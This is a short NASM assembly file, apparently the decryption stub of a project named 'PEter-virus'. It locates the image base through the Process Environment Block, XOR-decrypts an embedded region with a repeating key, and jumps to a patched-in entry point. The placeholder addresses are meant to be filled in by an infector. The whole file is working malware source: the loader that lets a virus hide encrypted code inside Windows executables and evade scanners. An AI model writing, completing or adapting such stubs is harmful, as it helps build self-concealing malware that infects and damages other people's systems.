PEter-virus/stub.asm

36 lines
551 B
NASM

bits 32
mov esi, 0x55555555 ;rva to data
mov ebx, 0x66666666 ;dataSz
mov ecx, 0x00 ;dataCounter
mov edi, 0x77777777 ;rva to key
mov edx, 0x00 ;keyCounter
mov eax, [fs:0x30]
mov eax, [eax+0x08] ;imageBase
add esi, eax
add edi, eax
push eax
s:
cmp ecx, ebx
je end
mov al, [esi+ecx]
xor al, [edi+edx]
mov [esi+ecx], al
inc ecx
inc edx
mov al, [edi+edx]
cmp al, 0x00
je zeroKeyCnt
jmp s
zeroKeyCnt:
xor edx, edx
jmp s
end:
mov ecx, 0x99999999 ;rva entry
pop eax
add eax, ecx
jmp eax